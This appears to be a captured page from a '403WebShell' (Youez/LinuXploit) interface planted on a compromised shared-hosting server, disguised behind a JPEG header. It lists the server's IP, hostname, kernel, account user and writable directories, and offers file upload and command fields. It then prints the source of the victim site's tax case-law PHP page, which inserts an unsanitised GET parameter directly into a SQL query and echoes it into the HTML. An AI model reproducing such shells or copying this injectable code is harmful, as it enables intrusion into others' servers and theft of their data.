ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.73
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/taxhyuvu/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/taxhyuvu/www/caselaws_old.php
<?php $id=$_GET['tax'];
?>
<?php include "head.php";

include "admin/db.php";


    
$p2="SELECT * FROM `cases` WHERE   `Catag`= '$id'  ORDER BY `Year` DESC";
$power = mysqli_query($con,$p2);


?>

<Style>
  
    .form-control:focus {
    color: #212529;
    background-color: #fff;
    border-color: #b7d0f5;
    outline: 0;
    box-shadow: 0 0 0 0.25rem rgba(79, 80, 80, 0.247);
}

 .btn-primary{    background: #009bad;
    border: #0a9eb0;}
    .btn:hover {
    color: var(--bs-btn-hover-color);
    background-color: #98a0a4;
    border-color: #98a0a4;
}
    .head{width: 100%;height: 200px; 
    background-color: #ebebebf7;}
    .head img{width: 300px;}
.img1st{margin: 0% 37%;
        padding-top: 62px;}
td{text-align: justify;
    }
    th{text-align: center;    color: #666666;
    }
    #viewpower input{    display: none;}

</Style>




<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    
    <script src="https://code.jquery.com/jquery-3.5.1.js"></script>


    <link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Lora&display=swap" rel="stylesheet">
    <title><?php echo $id ?> (Case Laws)</title>
    <style>#example_filter{display: none;}</style>
</head>

<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.13.4/css/jquery.dataTables.min.css">

<script type="text/javascript" src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script type="text/javascript" src="https://cdn.datatables.net/1.13.4/js/jquery.dataTables.min.js"></script>
<script type="text/javascript">
$(document).ready(function () {
// Setup - add a text input to each footer cell
$('#example thead tr')
    .clone(true)
    .addClass('filters')
    .appendTo('#example thead');

var table = $('#example').DataTable({
    orderCellsTop: true,
    fixedHeader: true,
    order: [[2, 'desc']],
    initComplete: function () {
       
});
</script>

<style>#yearpower, #yearpower input{width:100%;}
.powerpeti input{width: 100%;}
.table{overflow-y: hidden,}
body{overflow-y: hidden,}
th,td{width:auto !important;    text-align: center;
    border: 1px solid #d9d9d9;}
th{    text-align: center !important;}
table.dataTable {
    width: 100% !important;}
{font-family:none;}
    h1{       padding-bottom: 1%;   color: #04a3b4;   padding-top: 3.5%; text-transform: capitalize; text-align:center; font-family: 'Roboto Slab', serif;}
table{font-family: 'Lora', serif;}
th input{outline: blue;
    border-radius: 3px !important;
    border: gray 0.5px solid!important;}
</style>
<body>
    
    <script>
            setTimeout(function() {
  document.getElementById('myDiv').classList.add('animate');
}, 100);

        </script>
        
        <style>
            #myDiv {
  /* width: 100px;
  height: 100px;
  background-color: red; */
  opacity: 0;
  /* position: absolute;
  /* top: 50%; */
  /* left: 0; */ 
  transition: opacity 1s, left 1s;
}

#myDiv.animate {
  opacity: 1;
  left: 50%;
}
</style>
    <div class="container-fluid" id="myDiv" >
    <h1><?php echo$id;?> (<span style="color: #777777;">Case Laws</span>) </h1>
    <table id="example" class="display" >
        <thead>
        <tr>
        <th class="powerpeti">Court </th>
        <th id="yearpower">Year</th>
        <th class="powerpeti">Petitioner</th>
       
        <th class="powerpeti">Law/Section</th>
        <th class="powerpeti">Topic</th>
         <th class="powerpeti">Case Law	</th>
         <th class="powerpeti">Citation/Ref.</th>
        <th id="viewpower">View</th>
      </tr>
        </thead>
        <tbody>
        <?php foreach ($power as $k ) {
         
         ?> <tr>
        
         <td ><?php echo $k['Court'];?></td>
         <td ><?php echo $k['Year'];?></td>
         <td class="" ><?php echo $k['Vs1'];?><br>
             <B>Vs</B><br>
             <?php echo $k['Vs2'];?></td>
         <td >             <?php echo $k['Law'];?>
<?php echo $k['Sections'];?></td>
         <td ><?php echo $k['Topic'];?></td>
         <td style="text-algin:justify;"><p style="text-align:justify;"><?php $desc=$k['Para'];
                                       $StrCut=substr($desc,0,270);
                                       $desc =substr($StrCut,0,strrpos($StrCut,' '))."<a href='viewreport?id=$k[ID]'> Read More...</a>";
                                       echo $desc; ?></p></td>
         <td ><?php echo $k['Ref'];?></td>
         <td ><a href="viewreport?id=<?php echo $k['ID'];?>"><button class="btn btn-primary" style="width: 100%; height: 100%;">View</button></a></td>
         
       </tr>
 <?php }  ?>


        </tbody>
        <!-- <tfoot>
        
        <tr>
        <th>Court </th>
        <th>Year</th>
        <th>Petitioner</th>

        <th>Section</th>
         <th>Citation/Ref.</th>
        <th>View</th>
      </tr>
        </tfoot> -->
    </table>
    </div>

            <!--<script src="https://cdn.datatables.net/1.13.4/js/jquery.dataTables.min.js"></script>-->
            <!--            <script src="https://code.jquery.com/jquery-3.5.1.js"></script>-->








 
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit